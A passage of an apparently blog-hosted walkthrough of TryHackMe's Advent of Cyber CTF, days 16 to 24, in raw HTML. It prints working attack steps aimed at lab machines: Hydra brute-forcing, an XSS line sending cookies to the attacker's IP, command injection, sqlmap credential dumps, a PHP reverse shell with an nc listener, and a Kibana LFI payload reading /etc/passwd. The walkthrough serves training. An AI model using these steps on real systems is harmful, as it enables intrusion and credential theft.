continue\n\nprint(\"Number of files in version 1.1: \" + str(m_count))<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Put the script inside the decom2 directory.<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Task 21-3: Find the file with specific content<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Your task is to find the file with the string, \u2018password\u2019.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import os\n\n# read all file in decom 2 and find the file with 'password'\nListFile = os.listdir('decom2')\nfor l in ListFile:\n\tf = open('decom2\/' + l,'r')\n\tdata = f.read()\n\tf.close()\n\t\n\tif \"password\" in data:\n\t\tprint(l)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day17\">Day 17 (Task 22): Hydra<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Task 22-1: Brute-force the HTTP-post-form<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The hint is a joke, do not trust it. The password is located around 900k+ in rockyou.txt. I will make another exception for this task by revealing the password.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hydra -l molly -p joyness1994 &lt;machine IP> http-post-form \"\/login:username=^USER^&amp;password=^PASS^:F=incorrect\"<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/http.png?fit=1024%2C102&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2959\" title=\"Advent of Cyber days25 THM\u63d2\u56fe69\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe69\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/http2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2960\" title=\"Advent of Cyber days25 THM\u63d2\u56fe70\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe70\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Login molly\u2019s credentials on the webpage and capture the flag.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/http3.png?fit=1024%2C307&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2961\" title=\"Advent of Cyber days25 THM\u63d2\u56fe71\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe71\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Task 22-2: Brute-force the SSH<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Use the following command to brute-force the SSH service.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hydra -t 64 -l molly -P \/usr\/share\/wordlists\/rockyou.txt ssh:\/\/&lt;machine IP><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/ssh-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2957\" title=\"Advent of Cyber days25 THM\u63d2\u56fe72\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe72\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Login into the server and capture the flag.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/ssh2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2958\" title=\"Advent of Cyber days25 THM\u63d2\u56fe73\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe73\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day18\">Day 18 (Task 23): Stealing the cookie<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">There is a lot of ways of solving this task. As for my approach, I\u2019m going to create a PHP script and steal the admin cookie. For the sake of simplicity, the script only contains one single line and extremely<strong>&nbsp;unrealistic<\/strong>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n $cookie = $_GET&#91;\"c\"];\n?><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After that, launch the PHP server (run the command inside the directory contains the PHP script) to listen to any incoming request.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>php -S &lt;tun IP>:8000<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">make sure you change the tun IP according to your own&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/tryhackme.com\/access\" rel=\"nofollow\" >VPN IP in THM<\/a>. After that , register yourself in the webserver and inject the following script in the comment section.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script>document.location='https:\/\/&lt;tun IP>:8000\/cookie.php?c='+document.cookie;&lt;\/script><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Change the tunnel IP too.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/inject.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2962\" title=\"Advent of Cyber days25 THM\u63d2\u56fe74\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe74\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Wait for 2 minutes and the admin \u2018s cookie will show in front of your screen.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/cookie-1.png?fit=1024%2C84&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2963\" title=\"Advent of Cyber days25 THM\u63d2\u56fe75\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe75\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day19\">Day 19 (Task 24): Command injection<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Almost similar to the&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-cyber-of-advent\/#day15\" rel=\"nofollow\" >local file inclusion (task 20)<\/a>, you gonna play around with the URL. For starter, let\u2019s test the injection with the following URL.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:\/&lt;machine IP>:3000\/api\/cmd\/ls<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/ls-1.png?fit=1024%2C228&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2965\" title=\"Advent of Cyber days25 THM\u63d2\u56fe76\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe76\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The result contains a list of the main file system directory. By doing a small recon, the flag is located at \/home\/bestadmin<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/user-3.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2966\" title=\"Advent of Cyber days25 THM\u63d2\u56fe77\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe77\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Read the file and capture the flag.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/flag-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2967\" title=\"Advent of Cyber days25 THM\u63d2\u56fe78\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe78\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day20\">Day 20 (Task 25): Cronjob<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">First and foremost, do a Nmap scan.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -p4000-5000 -A -v &lt;machine IP><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/nmap-4.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2968\" title=\"Advent of Cyber days25 THM\u63d2\u56fe79\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe79\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Look like we have port 4567 (SSH) service running on the machine. As for the next task, we need to brute force the service with username sam.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hydra -s 4567 -t 64 -l sam -P \/usr\/share\/wordlists\/rockyou.txt ssh:\/\/&lt;machine IP><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/ssh-2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2969\" title=\"Advent of Cyber days25 THM\u63d2\u56fe80\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe80\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We got the password. Time to login to the shell.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/user-4.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2970\" title=\"Advent of Cyber days25 THM\u63d2\u56fe81\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe81\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">There is one particular script in \/home\/scripts that raises suspicion to us. Let\u2019s read the content.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/cleanup.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2971\" title=\"Advent of Cyber days25 THM\u63d2\u56fe82\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe82\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The script just doing some cleaning on the \/tmp. How does it look suspicious? Let\u2019s check the timestamp of \/tmp.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/time.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2972\" title=\"Advent of Cyber days25 THM\u63d2\u56fe83\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe83\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Did you see the time differences? It is very close. My hypothesis is the clean_up.sh is inside the cronjob list from the user ubuntu. Let\u2019s see what is our permission on the script.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/permission.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2973\" title=\"Advent of Cyber days25 THM\u63d2\u56fe84\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe84\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Well, we can temper the script as a low-privilege user. For your information, you can\u2019t privilege escalate as the root user yet because the file belongs to ubuntu. You can use the following command to pull the flag from the ubuntu.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo \"cat \/home\/ubuntu\/flag2.txt > \/home\/scripts\/flag2.txt\" > clean_up.sh<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/flag2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2974\" title=\"Advent of Cyber days25 THM\u63d2\u56fe85\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe85\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day21\">Day 21 (Task 26): Reverse engineering (basic)<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">I\u2019m going to use IDA reverse engineering tool for the entire RE challenge. You can refer to my&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.embeddedhacker.com\/2019\/12\/hacking-walkthrough-thm-reversing-elf\/\" rel=\"nofollow\" >ELF RE write-up&nbsp;<\/a>to know more about IDA. Check challenge1 for the challenge. file1 is a decoy.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Task 26-1: static analysis<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/1-2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2978\" title=\"Advent of Cyber days25 THM\u63d2\u56fe86\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe86\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Task 26-2: Debugging 1<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Put a breakpoint (Pressing F2) after imul instruction.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/2-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2979\" title=\"Advent of Cyber days25 THM\u63d2\u56fe87\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe87\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Run the program (green play button) and hover to the eax register for the answer.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Task 26-3: Debugging 2<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Put a breakpoint (Pressing F2) before the pop instruction.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/3-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2980\" title=\"Advent of Cyber days25 THM\u63d2\u56fe88\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe88\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Run the program (green play button) and hover to the var_4 or eax for the answer.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day22\">Day 22 (Task 27): Reverse engineering (conditional)<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This RE task involved with if conditional sentence.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/cond.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2983\" title=\"Advent of Cyber days25 THM\u63d2\u56fe89\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe89\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The branch translated as<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>var_8 = 8\nvar_4 = 2\n\nif (var_8 &lt; var_4)\n{\n var_4 += 7\n}\nelse\n{\n var_8 += 1\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Since var_8 is always bigger than var_4, it made the&nbsp;<strong>if statement<\/strong>&nbsp;false. The branch will follow the red wire. By wrapping this up, you should get the answers.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day23\">Day 23 (Task 29): SQL injection<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">For this SQli, I\u2019m going for the easy way. First and foremost, Launch the burp suite and visit the LapLand login page. After that, try to login as a random user (invalid credential) and capture the request from the burp suite.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/request.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2985\" title=\"Advent of Cyber days25 THM\u63d2\u56fe90\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe90\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Copy the request and save it as&nbsp;<strong>r.txt<\/strong>. After that, run the following command to initiate the injection to find out the list of the possible database.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -r r.txt --dbs --batch<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/para.png?fit=1024%2C129&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2986\" title=\"Advent of Cyber days25 THM\u63d2\u56fe91\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe91\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/db.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2987\" title=\"Advent of Cyber days25 THM\u63d2\u56fe92\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe92\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We got one particular parameter that is vulnerable to the injection. After a short run, we are able to determine the databases. The next step is to list all the tables inside the database (name censored) with the following command.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -r r.txt -D &lt;Censored Db name> --table --batch<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/table-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2990\" title=\"Advent of Cyber days25 THM\u63d2\u56fe93\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe93\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Looks like we found a list of tables. For this time being, we are only interested in the last table. As for the next step, enumerate the content inside the table.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -r r.txt -D &lt;Censored Db name> -T &lt;Censored table name> --column --batch<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/column.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2991\" title=\"Advent of Cyber days25 THM\u63d2\u56fe94\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe94\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s pull some data from the column. You are required to use \u2013dump.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -r r.txt -D &lt;Censored DB name> -T &lt;Censored table name> -C email,username,password --batch --dump<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/c.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2992\" title=\"Advent of Cyber days25 THM\u63d2\u56fe95\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe95\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We just found Santa\u2019s email and hashed password from the database. I strongly recommend you to skip the hash cracking part. Simply copy Santa\u2019s MD5 hash and crack it using&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/crackstation.net\/\" rel=\"nofollow\" >the online tool<\/a>. Now, we are able to login to Santa\u2019s social account.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/santa.png?fit=1024%2C412&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2993\" title=\"Advent of Cyber days25 THM\u63d2\u56fe96\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe96\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">By the way, there is one secret inside Santa\u2019s inbox.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/secret.png?fit=1024%2C369&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2994\" title=\"Advent of Cyber days25 THM\u63d2\u56fe97\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe97\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Alright, time to reverse the shell. Firstly, download the PHP reverse shell payload via&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/raw.githubusercontent.com\/pentestmonkey\/php-reverse-shell\/master\/php-reverse-shell.php\" rel=\"nofollow\" >this page<\/a>. Save the file as&nbsp;<strong>.phtml<\/strong>&nbsp;instead of .php as the standard PHP filename has been filtered by the page. Before upload and submit the payload, make sure you have the listener opened in your terminal.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nc -lvnp 1234<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After uploading the file, locate the following URL.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:\/\/&lt;machine IP>\/assets\/images\/posts\/<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/reverse.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2995\" title=\"Advent of Cyber days25 THM\u63d2\u56fe98\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe98\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Click on the .phtml file we just uploaded and listen to the shell.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/reverse1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2996\" title=\"Advent of Cyber days25 THM\u63d2\u56fe99\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe99\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The flag is located at \/home\/user<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/flag-2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2997\" title=\"Advent of Cyber days25 THM\u63d2\u56fe100\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe100\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day24\">Day 24: ELF (Elastic Search, Kibana and Log Stash )<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">First and foremost, launch your Nmap scanner.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Looks like we found Port 22 (SSH), Port 8000 (HTTP) and Port 9200 (Elasticsearch) on the target machine. For your information, you can\u2019t log in to the SSH and the only way in is Port 8000 and Port 9200. Let\u2019s do a check on Port 9200.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">There is one&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/dzone.com\/articles\/23-useful-elasticsearch-example-queries\" rel=\"nofollow\" >good material<\/a>&nbsp;to kick start with the port 9200. To pull the password from the database, simply do a query search.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:\/\/&lt;machine IP>:9200\/_search?q=password <\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/search.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2998\" title=\"Advent of Cyber days25 THM\u63d2\u56fe101\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe101\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">There is nothing you can do with the credential, let\u2019s proceed to port 8000. In the port, there is something called the Kibana log. By looking at the log, I stumbled across another open service on port 5601<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/5601.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2999\" title=\"Advent of Cyber days25 THM\u63d2\u56fe102\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe102\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After doing the Nmap scan, port 5601 can be accessed via the browser.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/kibana.png?fit=1024%2C247&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-3000\" title=\"Advent of Cyber days25 THM\u63d2\u56fe103\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe103\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s check the version in the management tab.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/ver.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-3001\" title=\"Advent of Cyber days25 THM\u63d2\u56fe104\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe104\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After doing a quick google search on the Kibana version, I came across the LFI attack&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.cyberark.com\/threat-research-blog\/execute-this-i-know-you-have-it\/\" rel=\"nofollow\" >CVE-2018-17246<\/a>. I try to locate the following payload address to validate vulnerably.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:\/\/&lt;machine IP>:5601\/api\/console\/api_server?sense_version=@@SENSE_VERSION&amp;apis=..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After that, revisit the log file from port 8000, you will notice something interesting.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" 